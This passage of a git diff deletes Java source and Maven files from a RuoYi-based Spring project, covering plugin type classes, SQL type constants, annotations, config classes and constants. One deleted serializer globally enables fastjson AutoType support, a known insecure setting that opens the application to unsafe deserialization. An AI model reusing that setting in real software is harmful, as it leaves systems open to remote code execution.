new TreeMapType(); - - private Class specificType; - - private TreeMapType() { - super("std.TreeMap", "TreeMap"); - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((TreeMap)obj).isEmpty(); - } - public TreeMapType(Class specificType) { - super("std.TreeMap", "TreeMap"); - this.specificType = specificType; - } - - - - @Override - public Class getReturnedClass() { - return TreeMap.class; - } - - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - Map vObj = (Map) obj; - int i = 0; - StandardType vType = StdTypes.transToStandardType(specificType); - for (String key : vObj.keySet()) { - values.add(new ValEntity(key,i++,vType.format(vObj.get(key)))); - } - return values; - } - - - @Override - public StandardMutlValType instanceType(Class sType) { - return new TreeMapType(sType); - } - - - @Override - public StandardMutlValType instanceType(Field f) { - return new TreeMapType((Class) ClassUtils.getMapFieldGenericity(f)[1]); - } - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - TreeMap value = new TreeMap(); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.put(valEntity.keyName, vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.put(valEntity.keyName, valEntity.value); - } - } - - return value; - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TreeSetType.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TreeSetType.java deleted file mode 100644 index e31b72c..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TreeSetType.java +++ /dev/null @@ -1,92 +0,0 @@ -package org.code.modules.plugins.types; - - -import com.luqj.util.assertion.Assert; -import com.luqj.util.reflect.ClassUtils; - -import java.lang.reflect.Field; -import java.util.*; - -public class TreeSetType extends AbstractType implements StandardMutlValType{ - - public static final StandardMutlValType BASE = new TreeSetType(); - - private Class specificType; - - private TreeSetType() { - super("std.TreeSet", "TreeSet"); - } - - - public TreeSetType(Class specificType) { - super("std.TreeSet", "TreeSet"); - this.specificType = specificType; - } - - - - @Override - public Object fromEntityValue(Collection entitys) - throws Exception { - Assert.notNull(entitys); - TreeSet value = new TreeSet(); - if(StdTypes.isSimpleType(specificType)){ - StandardType vType = StdTypes.transToStandardType(specificType); - for (ValEntity valEntity : entitys) { - value.add(vType.format(valEntity.value)); - } - }else{ - for (ValEntity valEntity : entitys) { - value.add(valEntity.value); - } - } - - return value; - } - - @Override - public Class getReturnedClass() { - return TreeSet.class; - } - - @Override - public boolean isNull(Object obj) { - return obj == null || ((TreeSet)obj).isEmpty(); - } - @Override - public int typeCode() { - return 0; - } - - @Override - public Class getSpecific() { - return this.specificType; - } - - - - @Override - public Collection format(Object obj) { - List values = new ArrayList(); - Set vObj = (Set) obj; - int i = 0; - for (Object val : vObj) { - StandardType vType = StdTypes.transToStandardType(specificType); - values.add(new ValEntity(i++,vType.format(val))); - } - return values; - } - - - @Override - public StandardMutlValType instanceType(Class sType) { - return new TreeSetType(sType); - } - - - @Override - public StandardMutlValType instanceType(Field f) { - return new TreeSetType((Class) ClassUtils.getSetFieldGenericity(f)); - } - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/Type.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/Type.java deleted file mode 100644 index 82c9c27..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/Type.java +++ /dev/null @@ -1,16 +0,0 @@ -package org.code.modules.plugins.types; - -import java.io.Serializable; - - -public interface Type extends Serializable{ - - public int getPrecsn(); - - public int getLength(); - - public String getCode(); - - public String getName(); - -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TypeEnum.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TypeEnum.java deleted file mode 100644 index 5c0904d..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TypeEnum.java +++ /dev/null @@ -1,67 +0,0 @@ -package org.code.modules.plugins.types; - - -public enum TypeEnum { - - Boolean(BooleanType.class, 0, "布尔型"), - - Byte(ByteType.class, 1, "数值"), - - Short(ShortType.class, 2, "数值"), - - Integer(IntegerType.class, 3, "数值"), - - Long(LongType.class, 4, "数值"), - - BigInteger(BigIntegerType.class, 5, "数值"), - - Float(FloatType.class, 6, "数值"), - - Double(DoubleType.class, 7, "数值"), - - BigDecimal(BigDecimalType.class, 8, "数值"), - - - - Blob(BlobType.class, 9, "字符"), - - String(StringType.class, 10, "字符"), - - Text(TextType.class, 11, "字符"), - - - - Time(TimeType.class, 12, "时间"), - - Timestamp(TimestampType.class, 13, "时间"), - - Date(DateType.class, 14, "时间"), - - Object(ObjType.class, 15, "其他"); - - - - private TypeEnum(Class type, int priority, String zhName) { - this.type = type; - this.zhName = zhName; - } - - private Class type; - - /**优先级**/ - private int priority; - - private String zhName; - - public Class getType() { - return type; - } - - public int getPriority() { - return priority; - } - - public java.lang.String getZhName() { - return zhName; - } -} diff --git a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TypesCode.java b/luqj-plugin/src/main/java/org/code/modules/plugins/types/TypesCode.java deleted file mode 100644 index 08959e2..0000000 --- a/luqj-plugin/src/main/java/org/code/modules/plugins/types/TypesCode.java +++ /dev/null @@ -1,282 +0,0 @@ -package org.code.modules.plugins.types; - -import java.sql.Types; - -public class TypesCode{ - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * BIT. - */ - public final static int BIT = Types.BIT; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * TINYINT. - */ - public final static int TINYINT = Types.TINYINT; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * SMALLINT. - */ - public final static int SMALLINT = Types.SMALLINT; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * INTEGER. - */ - public final static int INTEGER = Types.INTEGER; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * BIGINT. - */ - public final static int BIGINT = -5; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * FLOAT. - */ - public final static int FLOAT = 6; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * REAL. - */ - public final static int REAL = 7; - - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * DOUBLE. - */ - public final static int DOUBLE = 8; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * NUMERIC. - */ - public final static int NUMERIC = 2; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * DECIMAL. - */ - public final static int DECIMAL = 3; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * CHAR. - */ - public final static int CHAR = 1; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * VARCHAR. - */ - public final static int VARCHAR = 12; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * LONGVARCHAR. - */ - public final static int LONGVARCHAR = -1; - - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * DATE. - */ - public final static int DATE = 91; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * TIME. - */ - public final static int TIME = 92; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * TIMESTAMP. - */ - public final static int TIMESTAMP = 93; - - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * BINARY. - */ - public final static int BINARY = -2; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * VARBINARY. - */ - public final static int VARBINARY = -3; - -/** - *

The constant in the Java programming language, sometimes referred - * to as a type code, that identifies the generic SQL type - * LONGVARBINARY. - */ - public final static int LONGVARBINARY = -4; - -/** - *

The constant in the Java programming language - * that identifies the generic SQL value - * DEFAULT. - */ - public final static int NULL = 0; - - /** - * The constant in the Java programming language that indicates - * that the SQL type is database-specific and - * gets mapped to a Java object that can be accessed via - * the methods getObject and setObject. - */ - public final static int OTHER = 1111; - - - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * JAVA_OBJECT. - * @since 1.2 - */ - public final static int JAVA_OBJECT = 2000; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * DISTINCT. - * @since 1.2 - */ - public final static int DISTINCT = 2001; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * STRUCT. - * @since 1.2 - */ - public final static int STRUCT = 2002; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * ARRAY. - * @since 1.2 - */ - public final static int ARRAY = 2003; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * BLOB. - * @since 1.2 - */ - public final static int BLOB = 2004; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * CLOB. - * @since 1.2 - */ - public final static int CLOB = 2005; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type - * REF. - * @since 1.2 - */ - public final static int REF = 2006; - - /** - * The constant in the Java programming language, somtimes referred to - * as a type code, that identifies the generic SQL type DATALINK. - * - * @since 1.4 - */ - public final static int DATALINK = 70; - - /** - * The constant in the Java programming language, somtimes referred to - * as a type code, that identifies the generic SQL type BOOLEAN. - * - * @since 1.4 - */ - public final static int BOOLEAN = 16; - - //------------------------- JDBC 4.0 ----------------------------------- - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type ROWID - * - * @since 1.6 - * - */ - public final static int ROWID = -8; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type NCHAR - * - * @since 1.6 - */ - public static final int NCHAR = -15; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type NVARCHAR. - * - * @since 1.6 - */ - public static final int NVARCHAR = -9; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type LONGNVARCHAR. - * - * @since 1.6 - */ - public static final int LONGNVARCHAR = -16; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type NCLOB. - * - * @since 1.6 - */ - public static final int NCLOB = 2011; - - /** - * The constant in the Java programming language, sometimes referred to - * as a type code, that identifies the generic SQL type XML. - * - * @since 1.6 - */ - public static final int SQLXML = 2009; -} diff --git a/luqj-thymeleaf/pom.xml b/luqj-thymeleaf/pom.xml deleted file mode 100644 index 3bd71a0..0000000 --- a/luqj-thymeleaf/pom.xml +++ /dev/null @@ -1,35 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - luqj-thymeleaf - - - - com.ruoyi - ruoyi-common - - - com.baomidou - mybatis-plus-extension - 3.4.0 - - - io.swagger - swagger-annotations - 1.5.21 - - - - org.springframework.boot - spring-boot-starter-thymeleaf - - - \ No newline at end of file diff --git a/luqj-thymeleaf/src/main/java/com/luqj/front/IndexController.java b/luqj-thymeleaf/src/main/java/com/luqj/front/IndexController.java deleted file mode 100644 index 04f3eb1..0000000 --- a/luqj-thymeleaf/src/main/java/com/luqj/front/IndexController.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.luqj.front; - -import com.alibaba.fastjson.JSONObject; -import io.swagger.annotations.Api; -import org.springframework.stereotype.Controller; -import org.springframework.web.bind.annotation.GetMapping; -import org.springframework.web.bind.annotation.ResponseBody; -import org.springframework.web.servlet.ModelAndView; - -import javax.servlet.http.HttpServletRequest; - -@Controller -@Api(tags = "默认页", description = "默认页") -public class IndexController { - @GetMapping(value = "/backend") - public ModelAndView home(HttpServletRequest req) { - ModelAndView mv = new ModelAndView(); - mv.setViewName("/index.html"); - return mv; - } -} diff --git a/pom.xml b/pom.xml index 457171b..80aa9f9 100644 --- a/pom.xml +++ b/pom.xml @@ -227,25 +227,7 @@ ruoyi-admin - ruoyi-framework ruoyi-system - ruoyi-quartz - ruoyi-generator - ruoyi-common - luqj-exam - luqj-gis - luqj-common - luqj-custom - luqj-thymeleaf - luqj-opencv - luqj-baidu-ai - luqj-plugin - luqj-plugin-interface - luqj-plugin-demo - luqj-djl - luqj-ec - luqj-javacv - luqj-damo pom diff --git a/ruoyi-common/pom.xml b/ruoyi-common/pom.xml deleted file mode 100644 index dd1a28c..0000000 --- a/ruoyi-common/pom.xml +++ /dev/null @@ -1,204 +0,0 @@ - - - - ruoyi - com.ruoyi - 3.4.0 - - 4.0.0 - - ruoyi-common - - - common通用工具 - - - - - - cn.afterturn - easypoi-base - 4.1.3 - - - org.apache.poi - poi - - - org.apache.poi - poi-ooxml-schemas - - - - - cn.afterturn - easypoi-web - 4.1.3 - - - cn.afterturn - easypoi-annotation - 4.1.3 - - - org.projectlombok - lombok - 1.18.20 - - - com.aliyun.oss - aliyun-sdk-oss - 3.6.0 - - - - io.minio - minio - 4.0.0 - - - guava - com.google.guava - - - com.squareup.okio - okio - - - jsr305 - com.google.code.findbugs - - - - - - - org.springframework - spring-context-support - - - - - org.springframework - spring-web - - - - - org.springframework.boot - spring-boot-starter-security - - - - - com.github.pagehelper - pagehelper-spring-boot-starter - - - - - javax.validation - validation-api - - - - - org.apache.commons - commons-lang3 - - - - - com.fasterxml.jackson.core - jackson-databind - - - - - com.alibaba - fastjson - - - - - commons-io - commons-io - - - - - commons-fileupload - commons-fileupload - - - - - org.apache.poi - poi-ooxml - - - - - org.yaml - snakeyaml - - - - - io.jsonwebtoken - jjwt - - - - - org.springframework.boot - spring-boot-starter-data-redis - - - - - org.apache.commons - commons-pool2 - - - - - eu.bitwalker - UserAgentUtils - - - - - javax.servlet - javax.servlet-api - - - org.apache.tomcat.embed - tomcat-embed-core - - - cn.hutool - hutool-all - 4.5.11 - - - com.baomidou - mybatis-plus-annotation - 3.4.0 - - - com.github.pagehelper - pagehelper-spring-boot-autoconfigure - 1.3.0 - - - com.baomidou - mybatis-plus-core - 3.4.0 - compile - - - - \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/CacheConstant.java b/ruoyi-common/src/main/java/com/ruoyi/common/CacheConstant.java deleted file mode 100644 index 7bc985a..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/CacheConstant.java +++ /dev/null @@ -1,5 +0,0 @@ -package com.ruoyi.common; - -public class CacheConstant { - public static final String QI_NIU_TOKEN = "qiniu:token"; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/AccessLimit.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/AccessLimit.java deleted file mode 100644 index 556ad22..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/AccessLimit.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.ruoyi.common.annotation; -import java.lang.annotation.*; - -@Inherited -@Documented -@Target({ElementType.METHOD, ElementType.TYPE, ElementType.FIELD}) -@Retention(RetentionPolicy.RUNTIME) -public @interface AccessLimit { - - /** - * 指定时间内API请求次数 - * @return - */ - int maxCount() default 5; - - /** - * 请求次数的指定时间间隔(redis数据过期时间) - * @return - */ - int second() default 60; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java deleted file mode 100644 index 176878e..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataScope.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.ruoyi.common.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 数据权限过滤注解 - * - * @author ruoyi - */ -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface DataScope -{ - /** - * 部门表的别名 - */ - public String deptAlias() default ""; - - /** - * 用户表的别名 - */ - public String userAlias() default ""; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java deleted file mode 100644 index 79cd191..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/DataSource.java +++ /dev/null @@ -1,28 +0,0 @@ -package com.ruoyi.common.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Inherited; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import com.ruoyi.common.enums.DataSourceType; - -/** - * 自定义多数据源切换注解 - * - * 优先级:先方法,后类,如果方法覆盖了类上的数据源类型,以方法的为准,否则以类上的为准 - * - * @author ruoyi - */ -@Target({ ElementType.METHOD, ElementType.TYPE }) -@Retention(RetentionPolicy.RUNTIME) -@Documented -@Inherited -public @interface DataSource -{ - /** - * 切换数据源名称 - */ - public DataSourceType value() default DataSourceType.MASTER; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java deleted file mode 100644 index b09f4ce..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excel.java +++ /dev/null @@ -1,165 +0,0 @@ -package com.ruoyi.common.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import java.math.BigDecimal; - -/** - * 自定义导出Excel数据注解 - * - * @author ruoyi - */ -@Retention(RetentionPolicy.RUNTIME) -@Target(ElementType.FIELD) -public @interface Excel -{ - /** - * 导出时在excel中排序 - */ - public int sort() default Integer.MAX_VALUE; - - /** - * 导出到Excel中的名字. - */ - public String name() default ""; - - /** - * 日期格式, 如: yyyy-MM-dd - */ - public String dateFormat() default ""; - - /** - * 如果是字典类型,请设置字典的type值 (如: sys_user_sex) - */ - public String dictType() default ""; - - /** - * 读取内容转表达式 (如: 0=男,1=女,2=未知) - */ - public String readConverterExp() default ""; - - /** - * 分隔符,读取字符串组内容 - */ - public String separator() default ","; - - /** - * BigDecimal 精度 默认:-1(默认不开启BigDecimal格式化) - */ - public int scale() default -1; - - /** - * BigDecimal 舍入规则 默认:BigDecimal.ROUND_HALF_EVEN - */ - public int roundingMode() default BigDecimal.ROUND_HALF_EVEN; - - /** - * 导出类型(0数字 1字符串) - */ - public ColumnType cellType() default ColumnType.STRING; - - /** - * 导出时在excel中每个列的高度 单位为字符 - */ - public double height() default 14; - - /** - * 导出时在excel中每个列的宽 单位为字符 - */ - public double width() default 16; - - /** - * 文字后缀,如% 90 变成90% - */ - public String suffix() default ""; - - /** - * 当值为空时,字段的默认值 - */ - public String defaultValue() default ""; - - /** - * 提示信息 - */ - public String prompt() default ""; - - /** - * 设置只能选择不能输入的列内容. - */ - public String[] combo() default {}; - - /** - * 是否导出数据,应对需求:有时我们需要导出一份模板,这是标题需要但内容需要用户手工填写. - */ - public boolean isExport() default true; - - /** - * 另一个类中的属性名称,支持多级获取,以小数点隔开 - */ - public String targetAttr() default ""; - - /** - * 是否自动统计数据,在最后追加一行统计数据总和 - */ - public boolean isStatistics() default false; - - /** - * 导出字段对齐方式(0:默认;1:靠左;2:居中;3:靠右) - */ - Align align() default Align.AUTO; - - public enum Align - { - AUTO(0), LEFT(1), CENTER(2), RIGHT(3); - private final int value; - - Align(int value) - { - this.value = value; - } - - public int value() - { - return this.value; - } - } - - /** - * 字段类型(0:导出导入;1:仅导出;2:仅导入) - */ - Type type() default Type.ALL; - - public enum Type - { - ALL(0), EXPORT(1), IMPORT(2); - private final int value; - - Type(int value) - { - this.value = value; - } - - public int value() - { - return this.value; - } - } - - public enum ColumnType - { - NUMERIC(0), STRING(1), IMAGE(2); - private final int value; - - ColumnType(int value) - { - this.value = value; - } - - public int value() - { - return this.value; - } - } -} \ No newline at end of file diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java deleted file mode 100644 index d33004f..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Excels.java +++ /dev/null @@ -1,18 +0,0 @@ -package com.ruoyi.common.annotation; - -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * Excel注解集 - * - * @author ruoyi - */ -@Target(ElementType.FIELD) -@Retention(RetentionPolicy.RUNTIME) -public @interface Excels -{ - Excel[] value(); -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java deleted file mode 100644 index db96939..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/Log.java +++ /dev/null @@ -1,46 +0,0 @@ -package com.ruoyi.common.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; -import com.ruoyi.common.enums.BusinessType; -import com.ruoyi.common.enums.OperatorType; - -/** - * 自定义操作日志记录注解 - * - * @author ruoyi - * - */ -@Target({ ElementType.PARAMETER, ElementType.METHOD }) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface Log -{ - /** - * 模块 - */ - public String title() default ""; - - /** - * 功能 - */ - public BusinessType businessType() default BusinessType.OTHER; - - /** - * 操作人类别 - */ - public OperatorType operatorType() default OperatorType.MANAGE; - - /** - * 是否保存请求的参数 - */ - public boolean isSaveRequestData() default true; - - /** - * 是否保存响应结果。返回一次性凭据或其他敏感数据的接口必须关闭。 - */ - public boolean isSaveResponseData() default true; -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java b/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java deleted file mode 100644 index 9e350f1..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/annotation/RepeatSubmit.java +++ /dev/null @@ -1,23 +0,0 @@ -package com.ruoyi.common.annotation; - -import java.lang.annotation.Documented; -import java.lang.annotation.ElementType; -import java.lang.annotation.Inherited; -import java.lang.annotation.Retention; -import java.lang.annotation.RetentionPolicy; -import java.lang.annotation.Target; - -/** - * 自定义注解防止表单重复提交 - * - * @author ruoyi - * - */ -@Inherited -@Target(ElementType.METHOD) -@Retention(RetentionPolicy.RUNTIME) -@Documented -public @interface RepeatSubmit -{ - -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/cache/IMysqlDataListener.java b/ruoyi-common/src/main/java/com/ruoyi/common/cache/IMysqlDataListener.java deleted file mode 100644 index f6e4820..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/cache/IMysqlDataListener.java +++ /dev/null @@ -1,67 +0,0 @@ -package com.ruoyi.common.cache; - -import com.ruoyi.common.enums.BinlogEventType; - -import java.lang.reflect.Field; -import java.util.List; - -/** - * @Author luqj - * @Date 2020/8/5 20:48 - * @Version 1.0 - * @Desc 表数据有变化时 会进行到对应的方法中 - */ -public interface IMysqlDataListener { - - /** - * 更新事件 - * - * @param from - * @param to - */ - void onUpdate(T from, T to); - - /** - * 数据写入 - * - * @param t - */ - void onInsert(T t); - - /** - * 数据删除 - * - * @param t - */ - void onDelete(T t); - - /** - * 位置信息的记录 - * - * @param fileName - * @param position - */ - void onPosition(String fileName, Long position); - - // 获取 entityExample 查询实体对应的 主键id 列表指 - List getExampleKeyIdValue(Object ob); - - - /** - * 触发关联影响 - * @param binlogEventType - * @param ob - */ - void triggerAssociatedImpact(BinlogEventType binlogEventType,Object ob); - - /** - * 通过 实体field 和 值 构建 实体泪飙 - * @param val - * @return - */ - List buildObjList(Field field, String val); - - Field getFieldByName(String name); - - boolean hasField(Field field); -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/config/FastJson2JsonRedisSerializer.java b/ruoyi-common/src/main/java/com/ruoyi/common/config/FastJson2JsonRedisSerializer.java deleted file mode 100644 index cfef681..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/config/FastJson2JsonRedisSerializer.java +++ /dev/null @@ -1,72 +0,0 @@ -package com.ruoyi.common.config; - -import com.alibaba.fastjson.JSON; -import com.alibaba.fastjson.parser.ParserConfig; -import com.alibaba.fastjson.serializer.SerializerFeature; -import com.fasterxml.jackson.databind.JavaType; -import com.fasterxml.jackson.databind.ObjectMapper; -import com.fasterxml.jackson.databind.type.TypeFactory; -import org.springframework.data.redis.serializer.RedisSerializer; -import org.springframework.data.redis.serializer.SerializationException; -import org.springframework.util.Assert; - -import java.nio.charset.Charset; - -/** - * Redis使用FastJson序列化 - * - * @author ruoyi - */ -public class FastJson2JsonRedisSerializer implements RedisSerializer -{ - @SuppressWarnings("unused") - private ObjectMapper objectMapper = new ObjectMapper(); - - public static final Charset DEFAULT_CHARSET = Charset.forName("UTF-8"); - - private Class clazz; - - static - { - ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - } - - public FastJson2JsonRedisSerializer(Class clazz) - { - super(); - this.clazz = clazz; - } - - @Override - public byte[] serialize(T t) throws SerializationException - { - if (t == null) - { - return new byte[0]; - } - return JSON.toJSONString(t, SerializerFeature.WriteClassName).getBytes(DEFAULT_CHARSET); - } - - @Override - public T deserialize(byte[] bytes) throws SerializationException - { - if (bytes == null || bytes.length <= 0) - { - return null; - } - String str = new String(bytes, DEFAULT_CHARSET); - - return JSON.parseObject(str, clazz); - } - - public void setObjectMapper(ObjectMapper objectMapper) - { - Assert.notNull(objectMapper, "'objectMapper' must not be null"); - this.objectMapper = objectMapper; - } - - protected JavaType getJavaType(Class clazz) - { - return TypeFactory.defaultInstance().constructType(clazz); - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java b/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java deleted file mode 100644 index d9c01c0..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/config/RuoYiConfig.java +++ /dev/null @@ -1,122 +0,0 @@ -package com.ruoyi.common.config; - -import org.springframework.boot.context.properties.ConfigurationProperties; -import org.springframework.stereotype.Component; - -/** - * 读取项目相关配置 - * - * @author ruoyi - */ -@Component -@ConfigurationProperties(prefix = "ruoyi") -public class RuoYiConfig { - /** - * 项目名称 - */ - private String name; - - /** - * 版本 - */ - private String version; - - /** - * 版权年份 - */ - private String copyrightYear; - - /** - * 实例演示开关 - */ - private boolean demoEnabled; - - private String reqUrl; - - /** - * 上传路径 - */ - private static String profile; - - /** - * 获取地址开关 - */ - private static boolean addressEnabled; - - public String getName() { - return name; - } - - public void setReqUrl(String url) { - reqUrl = url; - } - - public void setName(String name) { - this.name = name; - } - - public String getReqUrl() { - return reqUrl; - } - - public String getVersion() { - return version; - } - - public void setVersion(String version) { - this.version = version; - } - - public String getCopyrightYear() { - return copyrightYear; - } - - public void setCopyrightYear(String copyrightYear) { - this.copyrightYear = copyrightYear; - } - - public boolean isDemoEnabled() { - return demoEnabled; - } - - public void setDemoEnabled(boolean demoEnabled) { - this.demoEnabled = demoEnabled; - } - - public static String getProfile() { - return profile; - } - - public void setProfile(String profile) { - RuoYiConfig.profile = profile; - } - - public static boolean isAddressEnabled() { - return addressEnabled; - } - - public void setAddressEnabled(boolean addressEnabled) { - RuoYiConfig.addressEnabled = addressEnabled; - } - - /** - * 获取头像上传路径 - */ - public static String getAvatarPath() { - return getProfile() + "/avatar"; - } - - /** - * 获取下载路径 - */ - public static String getDownloadPath() { - return getProfile() + "/download/"; - } - - /** - * 获取上传路径 - */ - public static String getUploadPath() { - return getProfile() + "/upload"; - } -} diff --git a/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java b/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java deleted file mode 100644 index 6e13ac1..0000000 --- a/ruoyi-common/src/main/java/com/ruoyi/common/constant/Constants.java +++ /dev/null @@ -1,129 +0,0 @@ -package com.ruoyi.common.constant; - -/** - * 通用常量信息 - * - * @author ruoyi - */ -public class Constants -{ - /** - * UTF-8 字符集 - */ - public static final String UTF8 = "UTF-8"; - - /** - * GBK 字符集 - */ - public static final String GBK = "GBK"; - - /** - * http请求 - */ - public static final String HTTP = "http://"; - - /** - * https请求 - */ - public static final String HTTPS = "https://"; - - /** - * 通用成功标识 - */ - public static final String SUCCESS = "0"; - - /** - * 通用失败标识 - */ - public static final String FAIL = "1"; - - /** - * 登录成功 - */ - public static final String LOGIN_SUCCESS = "Success"; - - /** - * 注销 - */ - public static final String LOGOUT = "Logout"; - - /** - * 登录失败 - */ - public static final String LOGIN_FAIL = "Error"; - - /** - * 验证码 redis key - */ - public static final String CAPTCHA_CODE_KEY = "captcha_codes:"; - - /** - * 登录用户 redis key - */ - public static final String LOGIN_TOKEN_KEY = "login_tokens:"; - - /** - * 防重提交 redis key - */ - public static final String REPEAT_SUBMIT_KEY = "repeat_submit:"; - - /** - * 验证码有效期(分钟) - */ - public static final Integer CAPTCHA_EXPIRATION = 2; - - /** - * 令牌 - */ - public static final String TOKEN = "token"; - - /** - * 令牌前缀 - */ - public static final String TOKEN_PREFIX = "Bearer "; - - /** - * 令牌前缀 - */ - public static final String LOGIN_USER_KEY = "login_user_key"; - - /** - * 用户ID - */ - public static final String JWT_USERID = "userid"; - - /** - * 用户名称 - */ - public static final String JWT_USERNAME = "sub"; - - /** - * 用户头像 - */ - public static final String JWT_AVATAR = "avatar"; - - /** - * 创建时间 - */ - public static final String JWT_CREATED = "created"; - - /** - * 用户权限 - */ - public static final String JWT_AUTHORITIES = "authorities"; - - 